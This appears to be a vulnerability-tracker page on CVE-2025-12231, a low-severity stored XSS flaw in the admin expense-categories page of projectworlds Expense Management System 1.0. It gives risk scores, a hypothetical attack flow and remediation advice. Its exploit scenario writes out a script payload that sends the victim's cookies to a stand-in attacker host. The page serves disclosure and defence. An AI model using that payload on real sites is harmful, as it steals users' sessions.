projectworlds Expense Management System
CVE-2025-12231
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain administrator credentials
-
DeliveryAccess admin panel
-
ExploitNavigate to Expense Categories creation
-
InstallInject unencoded script payload
-
C2Store payload in database
-
ExecuteVictim views expense categories list
-
ImpactScript executes in victim browser
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Successful exploitation requires three specific conditions: (1) An attacker must hold administrator-level privileges (PR:H in CVSS vector) to access the /public/admin/expense_categories/create endpoint; this is not a public-facing vulnerability but an admin-only function. (2) The attacker must successfully submit a request containing unencoded script payloads that persist in the database without sanitization. (3) A victim user must subsequently navigate to or render a page that displays the poisoned expense category data, triggering script execution in their browser context (UI:P - user interaction required). Exploitation is NOT possible against unauthenticated users, via the public-facing application, or without the victim viewing the affected content. These strict prerequisites substantially limit real-world risk compared to a remote unauthenticated XSS. |
| Impact | Despite the CVSS 4.0 score of 1.9 (indicating low severity), multiple risk indicators suggest even lower real-world priority. CVSS vector AV:N/AC:L allows remote delivery but requires PR:H (administrator privileges) and UI:P (user interaction on victim side), substantially reducing practical exploitability. EPSS score of 0.03% (9th percentile) confirms minimal exploitation probability in the wild. The CVE is not listed on CISA KEV (no confirmation of active exploitation), and although public exploit code exists on GitHub, the strict authentication barrier (admin-only) and required victim interaction make this a low-risk vulnerability suitable for standard patching cycles rather than emergency response. The primary concern is insider threat or compromised admin accounts misusing this vector. |
| Exploit ScenarioDerived | An attacker with stolen or legitimate administrator credentials logs into the Expense Management System, navigates to the Expense Categories creation page, and injects a malicious script payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) into the category name or description field. The payload is stored in the database. When other users (finance managers or employees) view the expense categories list in their dashboard, the stored script executes in their browser context, potentially stealing session cookies or redirecting them to phishing pages. Success requires both admin account compromise and victim access to the categories list. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Stored cross-site scripting in projectworlds Expense Management System 1.0 allows high-privileged authenticated users to inject malicious scripts via the Expense Categories creation page, affecting other users who view the poisoned content. The vulnerability requires administrator-level access and user interaction (rendering the page), limiting real-world impact despite remote network delivery. Publicly available exploit code exists; EPSS exploitation probability is very low at 0.03%, suggesting this is primarily a proof-of-concept risk rather than an actively exploited threat.
RemediationAI
Primary remediation requires patching to a version beyond 1.0; however, no vendor-released patch version is confirmed in available data. Contact projectworlds directly for an updated release. Immediate compensating controls include: (1) Implement strict input validation and HTML entity encoding on all user inputs to the expense_categories/create endpoint, blocking or escaping special characters like <, >, &, and quotes. (2) Apply Content Security Policy (CSP) headers to restrict script execution origins, mitigating payload execution even if stored. (3) Restrict administrative access to the Expense Categories creation function using role-based access controls, limiting privilege scope to only users who require this function. (4) Enable HTTP-only and Secure flags on session cookies to prevent token theft via XSS. (5) Conduct security code review of the /public/admin/expense_categories/create component and all similar admin forms. See VulDB entry https://vuldb.com/?id.329901 for additional vendor information.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a stored cross-site scripting (XSS) flaw (CWE-79) in the Expense Categories Page component, specifically the /public/admin/expense_categories/create endpoint. The underlying issue is insufficient input sanitization or output encoding on the admin interface, allowing attackers with administrative privileges to store unescaped user input that later executes in the browsers of other users viewing the categories list. The attack surface is limited to authenticated administrative users, and the payload persistence mechanism (storage in expense category records) creates a delayed attack vector only when victims access the categorized expense data.
Know when Expense Management System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (vuldb) · only source for this CVE.
CVSS VectorVendor: vuldb
DescriptionCVE.org
A security vulnerability has been detected in projectworlds Expense Management System 1.0. Affected is an unknown function of the file /public/admin/expense_categories/create of the component Expense Categories Page. Such manipulation leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
More in Expense Management System
View allAn issue in Expense Management System v.1.0 allows a local attacker to execute arbitrary code via a crafted file uploade
Expense Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /Home/deb
XSS in the Add Expense Component of EGavilan Media Expense Management System 1.0 allows an attacker to permanently store
A vulnerability was found in SourceCodester Expense Management System. Rated critical severity (CVSS 9.8), this vulnerab
A vulnerability was found in CodeAstro Expense Management System 1.0. Rated medium severity (CVSS 6.1), this vulnerabili
Stored cross-site scripting (XSS) in projectworlds Expense Management System 1.0 allows authenticated users with high pr
Stored cross-site scripting (XSS) in projectworlds Expense Management System 1.0 allows authenticated high-privilege use
Stored cross-site scripting (XSS) in projectworlds Expense Management System 1.0 allows high-privileged authenticated us
Cross-site request forgery in CodeAstro Expense Management System 1.0 allows an attacker to perform unauthorized actions
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB